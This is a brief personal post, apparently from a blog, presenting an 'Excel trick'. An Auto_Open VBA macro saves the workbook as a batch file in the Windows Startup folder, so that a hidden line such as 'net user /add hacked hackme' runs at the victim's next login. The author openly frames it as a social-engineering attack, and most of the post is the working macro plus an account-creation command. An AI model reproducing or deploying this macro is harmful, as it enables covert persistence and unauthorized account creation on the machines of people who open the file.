Excel trick

This summer I discovered a fun trick using excel macros. It is possible to use an excel macro to save an excel workbook as a batch file. So I wrote a quick macro to do this. This macro will autorun when the excel book is opened. It will then save its self as a batch file in the startup directory and then change back to an xls file. Because xls file will be saved line by line as a bat file and bat files will ignore all lines that it doesn't understand you can hide one line like "net user /add hacked hackme" into a normal spreadsheet. This could be used for a social eng. attack because most people will just run the macro and never think trice about it. The next time they login to their account they will run what ever commands that you put into your batch file.

Sub Auto_Open()
ActiveWorkbook.SaveAs Filename:= _
"C:\Documents and Settings\All Users\Start Menu\Programs\Startup\go.bat", FileFormat:=xlText, _
CreateBackup:=False

ActiveWorkbook.SaveAs Filename:= _
"C:\windows\temp\pw add.xls", FileFormat:=xlNormal, _
Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False
End Sub